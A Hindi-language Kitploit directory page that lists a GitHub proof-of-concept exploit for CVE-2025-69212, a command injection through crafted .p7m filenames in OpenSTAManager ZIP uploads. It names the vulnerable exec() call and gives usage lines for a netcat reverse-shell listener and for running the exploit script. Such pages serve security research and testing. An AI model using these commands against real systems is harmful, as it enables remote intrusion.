Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-69212-PoC — CVE-2025-69212 के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण: OpenSTAManager <= 2.9.8 में ZIP अपलोड में दुर्भावनापूर्ण .p7m फ़ाइल नाम के माध्यम से OS कमांड इंजेक्शन, रिमोट कोड एक्ज़ीक्यूशन सक्षम करता है। | Kitploit
उपकरण/GitHubGitHub/tohib09/cve-2025-69212-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोल
GitHubtohib09/cve-2025-69212-poc

CVE-2025-69212-PoC

CVE-2025-69212 के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण: OpenSTAManager <= 2.9.8 में ZIP अपलोड में दुर्भावनापूर्ण .p7m फ़ाइल नाम के माध्यम से OS कमांड इंजेक्शन, रिमोट कोड एक्ज़ीक्यूशन सक्षम करता है।

रिपॉजिटरी देखें
443 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-69212 — OpenSTAManager P7M कमांड इंजेक्शन PoC

OpenSTAManager <= 2.9.8 — ZIP अपलोड में दुर्भावनापूर्ण .p7m फ़ाइलनाम के माध्यम से OS कमांड इंजेक्शन।

फ़ाइल: src/Util/XML.php:100 — exec() में बिना सैनिटाइज़ किया गया $file
वेक्टर: /plugins/importFE_ZIP/actions.php → ZIP → .p7m फ़ाइलनाम → exec("openssl smime ... -in \"$file\" ...")

उपयोग

# Listener
nc -lvnp 4444

# Exploit
python3 CVE-2025-69212.py http://target.htb YOUR_PHPSESSID 10.10.14.X 4444

संदर्भ

  • https://github.com/advisories/GHSA-25fp-8w8p-mx36
  • https://nvd.nist.gov/vuln/detail/CVE-2025-69212

CVE-2025-69212-PoC

टूल डाउनलोड करें